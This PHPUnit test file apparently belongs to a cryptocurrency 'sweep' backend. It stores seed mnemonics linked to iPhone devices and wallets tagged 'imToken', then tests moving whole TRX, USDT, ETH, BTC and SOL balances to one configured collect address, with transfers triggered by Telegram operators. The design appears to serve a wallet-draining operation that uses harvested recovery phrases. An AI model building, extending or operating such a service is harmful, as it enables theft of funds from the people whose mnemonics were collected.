<?php

namespace Tests\Feature;

use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\TransferService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;

class TransferServiceTest extends TestCase
{
    use RefreshDatabase;

    private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';

    private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';

    private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';

    private const SOURCE = 'imToken';

    protected function setUp(): void
    {
        parent::setUp();
        config([
            'coruna.transfer.to_address' => self::TO,
            'coruna.transfer.max_derive_index' => 5,
            'coruna.tron.full_node' => 'https://api.trongrid.io',
            'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
            'coruna.transfer.max_usdt' => '0',
            'coruna.transfer.max_trx' => '0',
        ]);
    }

    private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device
    {
        $device = Device::query()->create([
            'device_id' => 'dev-transfer-1',
            'ios_version' => '18.0',
            'device_model' => 'iPhone',
        ]);

        WalletAddress::query()->create([
            'device_id' => $device->id,
            'address' => self::FROM,
            'chain_type' => 'TRON',
            'source' => $source,
            'monitor' => 0,
        ]);

        if ($mnemonic !== null) {
            $row = new WalletMnemonic([
                'device_id' => $device->id,
                'source' => $source,
            ]);
            $row->mnemonic = $mnemonic;
            $row->save();
        }

        return $device;
    }

    /**
     * @param  array<string, mixed>  $extra
     */
    private function fakeTronHttp(array $extra = [], int $trxSun = 100_000_000): void
    {
        Http::fake(array_merge([
            '*/wallet/getaccount' => Http::response([
                'balance' => $trxSun,
            ], 200),
        ], $extra));
    }

    #[Test]
    public function sends_native_trx_via_trongrid_http(): void
    {
        $this->seedFromWallet();

        $this->fakeTronHttp([
            '*/wallet/createtransaction' => Http::response([
                'txID' => str_repeat('ab', 32),
                'raw_data' => ['contract' => []],
                'raw_data_hex' => '0a00',
            ], 200),
            '*/wallet/broadcasttransaction' => Http::response([
                'result' => true,
                'txid' => str_repeat('ab', 32),
            ], 200),
        ]);

        $result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');

        $this->assertTrue($result['ok'], $result['error'] ?? '');
        $this->assertSame(str_repeat('ab', 32), $result['txid']);
        $this->assertSame(self::FROM, $result['from']);
        $this->assertSame(self::TO, $result['to']);

        $this->assertDatabaseHas('transfer_records', [
            'from_address' => self::FROM,
            'to_address' => self::TO,
            'chain' => 'tron',
            'tx_hash' => str_repeat('ab', 32),
            'amount' => '1.5',
            'type' => TransferRecord::TYPE_OUT,
            'asset' => 'TRX',
            'operator' => 'telegram:1@ops',
            'status' => TransferRecord::STATUS_SUCCESS,
        ]);

        Http::assertSent(function ($request) {
            if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
                return false;
            }
            $data = $request->data();

            return ($data['owner_address'] ?? null) === self::FROM
                && ($data['to_address'] ?? null) === self::TO
                && ($data['amount'] ?? null) === 1500000
                && ($data['visible'] ?? null) === true;
        });
    }

    #[Test]
    public function sends_usdt_trc20_via_triggersmartcontract(): void
    {
        $this->seedFromWallet();

        $this->fakeTronHttp([
            '*/wallet/triggersmartcontract' => Http::response([
                'result' => ['result' => true],
                'transaction' => [
                    'txID' => str_repeat('cd', 32),
                    'raw_data' => ['contract' => []],
                    'raw_data_hex' => '0a00',
                ],
            ], 200),
            '*/wallet/broadcasttransaction' => Http::response([
                'result' => true,
            ], 200),
        ]);

        $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');

        $this->assertTrue($result['ok'], $result['error'] ?? '');
        $this->assertSame(str_repeat('cd', 32), $result['txid']);
        Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
    }

    #[Test]
    public function tries_mnemonics_in_order_until_address_matches(): void
    {
        $device = $this->seedFromWallet(null);
        $wrong = new WalletMnemonic([
            'device_id' => $device->id,
            'source' => self::SOURCE,
        ]);
        $wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow';
        $wrong->save();

        $right = new WalletMnemonic([
            'device_id' => $device->id,
            'source' => self::SOURCE,
        ]);
        $right->mnemonic = self::MNEMONIC;
        $right->save();

        $this->fakeTronHttp([
            '*/wallet/createtransaction' => Http::response([
                'txID' => str_repeat('ef', 32),
                'raw_data' => ['contract' => []],
                'raw_data_hex' => '0a00',
            ], 200),
            '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
        ]);

        $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');

        $this->assertTrue($result['ok'], $result['error'] ?? '');
        $this->assertSame(str_repeat('ef', 32), $result['txid']);
    }

    #[Test]
    public function rejects_when_to_address_missing(): void
    {
        config(['coruna.transfer.to_address' => '']);
        $this->seedFromWallet();

        $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'telegram:9');

        $this->assertFalse($result['ok']);
        $this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);

        $this->assertDatabaseHas('transfer_records', [
            'from_address' => self::FROM,
            'to_address' => null,
            'chain' => 'tron',
            'asset' => 'TRX',
            'operator' => 'telegram:9',
            'status' => TransferRecord::STATUS_FAILED,
            'error' => 'TRANSFER_TO_ADDRESS is not configured',
        ]);
    }

    #[Test]
    public function sol_sweep_requires_its_own_collect_address(): void
    {
        config([
            'coruna.transfer.to_address' => self::TO,
            'coruna.transfer.to_address_sol' => '',
        ]);

        $from = 'So11111111111111111111111111111111111111112';
        $result = app(TransferService::class)->handle('sol', $from, '0.1', 'SOL');

        $this->assertFalse($result['ok']);
        $this->assertSame('TRANSFER_TO_ADDRESS_SOL is not configured', $result['error']);
        $this->assertDatabaseHas('transfer_records', [
            'from_address' => $from,
            'to_address' => null,
            'chain' => 'sol',
            'error' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
        ]);
    }

    #[Test]
    public function solana_alias_uses_configured_sol_collect_address(): void
    {
        $to = 'So11111111111111111111111111111111111111112';
        config([
            'coruna.transfer.to_address' => self::TO,
            'coruna.transfer.to_address_sol' => $to,
        ]);

        $result = app(TransferService::class)->handle('solana', $to, '0.1', 'SOL');

        $this->assertFalse($result['ok']);
        $this->assertStringNotContainsString('TRANSFER_TO_ADDRESS', (string) ($result['error'] ?? ''));
        $this->assertDatabaseHas('transfer_records', [
            'chain' => 'solana',
            'to_address' => $to,
        ]);
    }

    #[Test]
    public function rejects_when_no_matching_mnemonic(): void
    {
        $this->seedFromWallet(null);

        $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');

        $this->assertFalse($result['ok']);
        $this->assertStringContainsString('No mnemonic', $result['error']);
    }

    #[Test]
    public function enforces_max_usdt_limit(): void
    {
        $this->seedFromWallet();
        config(['coruna.transfer.max_usdt' => '5']);

        $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');

        $this->assertFalse($result['ok']);
        $this->assertStringContainsString('exceeds max', $result['error']);
    }

    #[Test]
    public function omits_amount_transfers_full_usdt_balance(): void
    {
        $this->seedFromWallet();
        config(['coruna.transfer.trx_fee_reserve' => '1']);

        $this->fakeTronHttp([
            '*/wallet/triggerconstantcontract' => Http::response([
                'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
            ], 200),
            '*/wallet/triggersmartcontract' => Http::response([
                'result' => ['result' => true],
                'transaction' => [
                    'txID' => str_repeat('11', 32),
                    'raw_data' => ['contract' => []],
                    'raw_data_hex' => '0a00',
                ],
            ], 200),
            '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
        ]);

        $result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');

        $this->assertTrue($result['ok'], $result['error'] ?? '');
        $this->assertSame('12.5', $result['amount']);
        $this->assertSame('USDT', $result['asset']);
    }

    #[Test]
    public function omits_amount_transfers_trx_minus_fee_reserve(): void
    {
        $this->seedFromWallet();
        config(['coruna.transfer.trx_fee_reserve' => '1']);

        // 25 TRX (>= fee topup target) so top-up is skipped; reserve leaves 24.
        $this->fakeTronHttp([
            '*/wallet/createtransaction' => Http::response([
                'txID' => str_repeat('22', 32),
                'raw_data' => ['contract' => []],
                'raw_data_hex' => '0a00',
            ], 200),
            '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
        ], 25_000_000);

        $result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');

        $this->assertTrue($result['ok'], $result['error'] ?? '');
        $this->assertSame('24', $result['amount']);

        Http::assertSent(function ($request) {
            if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
                return false;
            }

            return ($request->data()['amount'] ?? null) === 24_000_000;
        });
    }

    #[Test]
    public function sends_native_eth_via_json_rpc(): void
    {
        $from = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
        $to = '0x0000000000000000000000000000000000000001';
        config([
            'coruna.transfer.to_address_eth' => $to,
            'coruna.eth.rpc_url' => 'https://ethereum.publicnode.com',
            'coruna.eth.chain_id' => 1,
        ]);

        $device = Device::query()->create([
            'device_id' => 'dev-transfer-eth',
            'ios_version' => '18.0',
            'device_model' => 'iPhone',
        ]);
        WalletAddress::query()->create([
            'device_id' => $device->id,
            'address' => $from,
            'chain_type' => 'ETH',
            'source' => self::SOURCE,
            'monitor' => 0,
        ]);
        $row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
        $row->mnemonic = self::MNEMONIC;
        $row->save();

        Http::fake([
            'https://ethereum.publicnode.com' => Http::sequence()
                ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1'], 200) // nonce
                ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x3b9aca00'], 200) // gasPrice
                ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x'.str_repeat('ab', 32)], 200), // send
        ]);

        $result = app(TransferService::class)->handle('eth', $from, '0.01', 'ETH', 'telegram:1@ops');

        $this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
        $this->assertSame('0x'.str_repeat('ab', 32), $result['txid']);
        $this->assertSame($to, $result['to']);
        $this->assertDatabaseHas('transfer_records', [
            'from_address' => $from,
            'chain' => 'eth',
            'asset' => 'ETH',
            'status' => TransferRecord::STATUS_SUCCESS,
        ]);
    }

    #[Test]
    public function sends_native_btc_via_mempool_api(): void
    {
        $from = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
        $to = '1Ak8PffB2meyfYnbXZR9EGfLfFZVpzJvQP';
        config([
            'coruna.transfer.to_address_btc' => $to,
            'coruna.btc.api_url' => 'https://mempool.space/api',
            'coruna.btc.fee_rate' => 1,
        ]);

        $device = Device::query()->create([
            'device_id' => 'dev-transfer-btc',
            'ios_version' => '18.0',
            'device_model' => 'iPhone',
        ]);
        WalletAddress::query()->create([
            'device_id' => $device->id,
            'address' => $from,
            'chain_type' => 'BTC',
            'source' => self::SOURCE,
            'monitor' => 0,
        ]);
        $row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
        $row->mnemonic = self::MNEMONIC;
        $row->save();

        $txid = str_repeat('11', 32);
        Http::fake([
            'https://mempool.space/api/address/*/utxo' => Http::response([
                [
                    'txid' => $txid,
                    'vout' => 0,
                    'value' => 100_000,
                    'status' => ['confirmed' => true],
                ],
            ], 200),
            'https://mempool.space/api/tx' => Http::response(str_repeat('cd', 32), 200),
        ]);

        $result = app(TransferService::class)->handle('btc', $from, '0.0005', 'BTC');

        $this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
        $this->assertSame(str_repeat('cd', 32), $result['txid']);
        $this->assertDatabaseHas('transfer_records', [
            'from_address' => $from,
            'chain' => 'btc',
            'asset' => 'BTC',
            'status' => TransferRecord::STATUS_SUCCESS,
        ]);
    }
}